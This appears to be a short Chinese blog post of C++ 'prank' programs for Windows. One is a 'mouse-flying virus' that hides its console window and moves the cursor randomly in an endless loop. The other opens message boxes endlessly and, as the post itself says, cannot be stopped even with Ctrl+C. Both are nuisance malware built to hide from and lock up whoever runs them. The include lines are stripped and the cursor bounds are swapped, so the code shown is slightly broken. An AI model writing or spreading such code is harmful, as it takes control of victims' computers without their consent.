C++恶作剧代码

1.鼠标乱飞病毒

如果想关闭，只需要按住ctrl+c就可以了。

#include 
#include 
using namespace std;
void HideWindow() {
	HWND hwnd;
	hwnd=FindWindow("ConsoleWindowClass",NULL);
	if(hwnd) ShowWindow(hwnd,SW_HIDE);
	return;
}
int main() {
	HideWindow();
	int x=GetSystemMetrics(SM_CXSCREEN);   
	int y=GetSystemMetrics(SM_CYSCREEN);
	for(;;)
	{
			//system("start cmd");
			//for(int i=1;i<=100;i++)
			//{
					SetCursorPos(rand()%y,rand()%x);
			//}
	}

	return 0;
}

2.无限弹窗

这段代码不要轻易尝试，因为根本关不完，ctrl+c也没有用。

#include 
#pragma comment (lib, "User32.lib")
void HideWindow() {
	HWND hwnd;
	hwnd=FindWindow("ConsoleWindowClass",NULL);
	if(hwnd) ShowWindow(hwnd,SW_HIDE);
	return;
}
int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow){
	HideWindow();
    while(1){
	    MessageBox(NULL, TEXT("Sorry!It is mistake!Plases close it!"), TEXT("消息对话框"), MB_OK);//建立对话框
	}
    return 0;
}